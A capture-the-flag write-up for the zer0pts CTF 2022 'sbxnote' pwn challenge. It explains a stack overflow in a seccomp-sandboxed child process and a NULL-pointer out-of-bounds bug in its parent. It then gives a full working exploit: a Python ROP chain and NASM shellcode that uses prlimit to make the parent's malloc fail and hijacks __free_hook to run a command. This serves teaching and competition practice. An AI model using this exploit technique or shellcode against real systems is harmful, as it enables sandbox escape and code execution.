# sbxnote - zer0pts CTF 2022 ###### tags: `zer0pts CTF 2022` `pwn` Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9 ## Overview The program looks a simple note service. However, there are two processes: - Child - Interface to read input and print output - Having a simple stack buffer overflow vulnerability - Sandboxed - Parent - Managing notes - No exploitable vulnerability by itself - Unsandboxed These processes communicates with each other through pipe. The child process is sandboxed with the following seccomp rules: ``` line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0f 0x00 0x40000000 if (A >= 0x40000000) goto 0019 0004: 0x15 0x0e 0x00 0x00000002 if (A == open) goto 0019 0005: 0x15 0x0d 0x00 0x00000101 if (A == openat) goto 0019 0006: 0x15 0x0c 0x00 0x0000003b if (A == execve) goto 0019 0007: 0x15 0x0b 0x00 0x00000142 if (A == execveat) goto 0019 0008: 0x15 0x0a 0x00 0x00000055 if (A == creat) goto 0019 0009: 0x15 0x09 0x00 0x00000039 if (A == fork) goto 0019 0010: 0x15 0x08 0x00 0x0000003a if (A == vfork) goto 0019 0011: 0x15 0x07 0x00 0x00000038 if (A == clone) goto 0019 0012: 0x15 0x06 0x00 0x00000065 if (A == ptrace) goto 0019 0013: 0x15 0x05 0x00 0x0000003e if (A == kill) goto 0019 0014: 0x15 0x04 0x00 0x000000c8 if (A == tkill) goto 0019 0015: 0x15 0x03 0x00 0x000000ea if (A == tgkill) goto 0019 0016: 0x15 0x02 0x00 0x00000136 if (A == process_vm_readv) goto 0019 0017: 0x15 0x01 0x00 0x00000137 if (A == process_vm_writev) goto 0019 0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0019: 0x06 0x00 0x00 0x00000000 return KILL ``` As far as I know, (on Ubuntu 20.04) there's no way to bypass this rule to execute arbitrary commands. Both processes are protected without SSP: ``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` ## Bugs ### Child: BOF Buffer overflow on reading a number. ```c long getlong(const char *msg) { char buf[32]; print(msg); if (read(0, buf, 322) < 0) exit(1); return atol(buf); } ``` You can exploit this if you can bypass ASLR because SSP is disabled. ### Parent: Uninitialized Buffer There's no code to fill the array with zero. ```c /* Create new buffer */ case NEW: { if (req.size > 2800) { /* Invalid size*/ RESPONSE(-1); break; } /* Allocate new buffer */ old = buffer; if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) { /* Memory error */ size = -1; RESPONSE(-1); break; } /* Prevent memory leak */ free(old); /* Update size */ size = req.size; RESPONSE(0); break; } ``` The child process can read the uninitialized buffer to leak the address of heap and libc. ### Parent: NULL Pointer Dereference and OOB There is one more vulnerability possibly exploitable in the parent process. ```c /* Allocate new buffer */ old = buffer; if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) { /* Memory error */ size = -1; RESPONSE(-1); break; } ``` If it fails to allocate the buffer, the size becomes -1. However, the type of `size` is `size_t`, which is unsigned, and so it may cause out-of-bounds read/write because there's no NULL pointer check: ```c /* Set value */ case SET: { if (req.index < 0 || req.index >= size) { /* Invalid index */ RESPONSE(-1); break; } /* Set value */ buffer[req.index] = req.value; RESPONSE(0); break; } ``` This vulnerability is the same as that of MemSafeD. This bug turns into AAR/AAW vulnerability. The hardest part of this task is to find out how you can make `malloc` return NULL. `malloc` returns NULL if it fails to allocate the buffer. The easiest way is to simply request a very big buffer. However, the size is checked below: ```c if (req.size > 2800) { /* Invalid size*/ RESPONSE(-1); break; } ``` We cannot use up the memory with this small size because there's no memory leak bug. ## prlimit: Controlling the Parent You can solve the problem with one simple system call: `prlimit`. This system call can get and set the resource of a process even if it's not the child process without any capabilities. You can set the limit on memory size by `RLIMIT_AS`. If you set this value small enough and apply it to the parent process, the parent process can no longer allocate memory bigger than the value. (Be noted the system call will fail if you set the size too small.) However, this system call does not restrict the behavior of `malloc`. It only affects the behavior of `mmap` system call. So, you need to make `malloc` try to `mmap` a new region and fail it. `malloc` will call `mmap` when the heap is used up. Even if the maximum size of allocation is small, we can use up the heap by precisely filling tcache, fastbin, and other bins. Last but not least, don't forget to remove the memory limit of the parent process before spawning the shell :) ## Exploit ```python= import os from ptrlib import * def new(size): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(size)) def get(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) return int(sock.recvlineafter(" = ")) HOST = os.getenv('HOST', 'localhost') PORT = os.getenv('PORT', '9004') libc = ELF("./libc-2.31.so") #sock = Process("../distfiles/bin/chall") sock = Socket(HOST, int(PORT)) # Leak libc base new(0x88) new(4) new(0x88) libc.set_base(get(0) - libc.main_arena() - 0x60) rop_pop_rdi = libc.base + 0x00023b72 rop_pop_rsi = libc.base + 0x0002604f rop_pop_rdx_r12 = libc.base + 0x00119241 # Prepare shellcode addr_shellcode = libc.section('.bss') + 0x1000 payload = b'A' * 0x28 payload += flat([ # mprotect(shellcode, 0x1000, 7) rop_pop_rdx_r12, 7, 0xdeadbeef, rop_pop_rsi, 0x2000, rop_pop_rdi, addr_shellcode & 0xfffffffffffff000, libc.symbol('mprotect'), # read(0, shellcode, 0x1000) rop_pop_rdx_r12, 0x1000, 0xdeadbeef, rop_pop_rsi, addr_shellcode, rop_pop_rdi, 0, libc.symbol('read'), # shellcode() addr_shellcode ], map=p64) sock.sendafter("> ", payload) # Inject shellcode shellcode = nasm( open("shellcode.S").read().format( environ=libc.symbol('environ'), free_hook=libc.symbol('__free_hook') // 8, system=libc.symbol('system') ), bits=64 ) sock.send(shellcode) sock.close() ``` ```nasm= _start: ; r13 = p2c ; r14 = c2p ; r15 = ppid mov rsi, {environ} mov rsi, [rsi] mov r14d, [rsi-0x114] lea r13, [r14+1] mov r15d, [rsi-0x10c] ;; Restrict parent's memory limit ; prlimit(ppid, RLIMIT_AS, new_limit, NULL) xor r10d, r10d lea rdx, [rel new_limit] mov esi, 9 mov edi, r15d mov eax, 302 syscall test eax, eax jnz NG ;; Use up parent's heap xor ebp, ebp _consume: inc ebp mov [rel s], ebp ; request(NEW, size) mov edx, 0x18 lea rsi, [rel request_new] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG ; wait(res) mov edx, 4 lea rsi, [rel res] mov edi, r13d mov eax, 0 syscall cmp eax, 4 jnz NG mov eax, [rel res] test eax, eax jz _consume ;; now buffer=NULL, size=-1 ;; *__free_hook = system mov rax, {free_hook} mov [rel i], rax mov rax, {system} mov [rel v], rax ; request(SET, __free_hook/8, system) mov edx, 0x18 lea rsi, [rel request_set] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG ;; Loose limit on parent's memory ; prlimit(ppid, RLIMIT_AS, remove_limit, NULL) xor r10d, r10d lea rdx, [rel remove_limit] mov esi, 9 mov edi, r15d mov eax, 302 syscall test eax, eax jnz NG ;; prepare command to execute mov dword [rel s], 0x20 ; request(NEW, size) mov edx, 0x18 lea rsi, [rel request_new] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG xor ebp, ebp _inject: mov [rel i], rbp lea rsi, [rel s_cmd] mov rax, [rsi+rbp*8] mov [rel v], rax ; request(SET, i, cmd[i*8:i*8+8]) mov edx, 0x18 lea rsi, [rel request_set] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG inc ebp cmp ebp, 0x20 jnz _inject ;; win! ; request(NEW, size) mov edx, 0x18 lea rsi, [rel request_new] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG int3 NG: hlt res: dd 0 request_new: dq 0 ; NEW s:dq 0 ; size dq 0 ; unused request_set: dq 1 ; SET i:dq 0 ; index v:dq 0 ; value new_limit: dq 0 ; soft limit dq 0x133700000000 ; hard limit remove_limit: dq 0x133700000000 ; soft limit dq 0x133700000000 ; hard limit s_cmd: db '/bin/ls -lha > /tmp/pwned', 0 ```